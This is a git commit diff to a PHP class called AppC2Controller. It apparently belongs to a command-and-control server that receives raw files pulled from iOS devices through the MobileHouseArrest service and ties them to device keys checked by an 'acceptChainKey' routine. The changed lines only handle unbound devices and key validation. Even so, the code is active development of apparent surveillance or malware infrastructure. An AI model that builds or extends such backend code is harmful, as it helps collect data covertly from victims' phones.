feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
+11 -2
View File
@@ -610,6 +610,13 @@ class AppC2Controller extends Controller
'bundleId' => 'com.apple.mobile.MobileHouseArrest',
'appId' => $apiKey,
]);
if ($device === null) {
return $this->json([
'ok' => true,
'size' => $size,
'bind' => false,
]);
}
// Save raw file
$date = date('Ymd');
@@ -806,8 +813,10 @@ class AppC2Controller extends Controller
return null;
}
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
if ($deviceKey === null || $deviceKey === '') {
$deviceKey = \App\Models\Device::acceptChainKey(
\App\Models\Device::normalizeDarkswordKey($rawId)
);
if ($deviceKey === null) {
return null;
}